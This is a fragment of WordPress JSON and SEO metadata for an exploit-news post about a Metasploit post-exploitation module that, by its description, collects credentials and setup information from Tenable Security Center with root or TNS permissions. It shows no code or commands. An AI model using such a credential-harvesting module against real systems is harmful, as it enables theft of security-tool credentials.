redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-15T14:35:49+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54916#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54916\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54916#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=54916","og_locale":"en_US","og_type":"article","og_title":"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:16&#8243;,&#8221;description&#8221;:&#8221;This module collects credentials and setup information from Tenable Security Center. root or TNS user permissions are required. We don&#8217;t utilize SC&#8217;s builtin backup functionality...","og_url":"https:\/\/zero.redgem.net\/?p=54916","og_site_name":"zero redgem","article_published_time":"2026-05-15T14:35:49+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=54916#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=54916"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER-","datePublished":"2026-05-15T14:35:49+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=54916"},"wordCount":2618,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=54916#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=54916","url":"https:\/\/zero.redgem.net\/?p=54916","name":"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-15T14:35:49+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=54916#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=54916"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=54916#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54916","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54916"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/54916\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54916"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54916"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54916"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}